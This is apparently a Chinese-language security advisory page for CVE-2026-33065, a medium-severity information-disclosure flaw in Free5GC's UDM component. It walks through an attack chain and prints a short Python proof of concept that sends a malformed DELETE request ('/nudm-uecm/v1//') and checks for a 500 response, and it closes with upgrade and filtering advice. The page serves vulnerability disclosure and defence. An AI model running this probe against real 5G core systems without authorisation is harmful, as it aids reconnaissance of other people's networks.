IPBUF安全漏洞报告
English
CVE-2026-33065 CVSS 5.3 中危

CVE-2026-33065 Free5GC UDM错误处理信息泄露漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33065
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Free5GC

相关标签

Free5GC5G CoreInformation DisclosureCVE-2026-33065API Security

漏洞概述

Free5GC在1.4.2版本之前的UDM组件存在错误处理缺陷。当处理DELETE请求时,若supi路径参数为空(如URL含双斜杠),UDM转发给UDR后,未能正确透传400错误,而是返回500 Internal Server Error。这违反了REST API规范,泄露了后端交互细节,存在信息泄露风险。

技术细节

该漏洞源于Free5GC统一数据管理(UDM)模块的错误状态码映射逻辑缺陷。根据REST API规范,客户端发送格式错误的DELETE请求(如路径参数supi为空,即URL包含双斜杠`//`)时,服务端应返回4xx客户端错误。然而,在此漏洞中,UDM将畸形请求转发至UDR,UDR正确返回400 Bad Request,但UDM未能正确透传该状态码,而是触发了内部异常处理流程,向客户端返回500 Internal Server Error。这种行为不仅违反了API设计原则,还泄露了后端服务(UDR)的交互细节,攻击者可利用此差异进行信息探测和架构分析。

攻击链分析

STEP 1
侦察
攻击者识别目标Free5GC部署环境,定位UDM(统一数据管理)服务的API接口端点。
STEP 2
构造畸形请求
攻击者构造一个DELETE请求,特意在路径中留下空的supi参数,例如使用双斜杠'//',使URL看起来像'/nudm-uecm/v1//'。
STEP 3
发送请求
攻击者将构造好的恶意请求发送给UDM组件。
STEP 4
内部处理异常
UDM将请求转发给UDR,UDR返回400错误。UDM未能正确处理此响应,将其转换为500 SYSTEM_FAILURE。
STEP 5
信息泄露
攻击者收到500状态码,确认后端存在UDR服务且UDM错误处理逻辑有缺陷,获取系统内部架构信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests def check_vulnerability(url): # Construct malicious request with empty supi (double slash) # Example endpoint: /nudm-uecm/v1/{supi} target = f"{url.rstrip('/')}/nudm-uecm/v1//" try: print(f"[*] Sending DELETE request to: {target}") response = requests.delete(target, timeout=10) # Expected behavior for vulnerable system: 500 Internal Server Error # Correct behavior: 400 Bad Request if response.status_code == 500: print("[+] Vulnerability confirmed! Server returned 500 instead of 400.") print(f"[+] Response body: {response.text[:100]}") elif response.status_code == 400: print("[-] System appears patched or not vulnerable (returned 400).") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target_url = "http://localhost:8000" # Replace with actual target check_vulnerability(target_url)

影响范围

Free5GC < 1.4.2

防御指南

临时缓解措施
建议立即升级到Free5GC 1.4.2版本以修复此漏洞。若无法立即升级,应在反向代理或API网关处实施严格的路由验证,拦截包含双斜杠或缺失路径参数的REST API请求,防止畸形请求到达UDM组件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表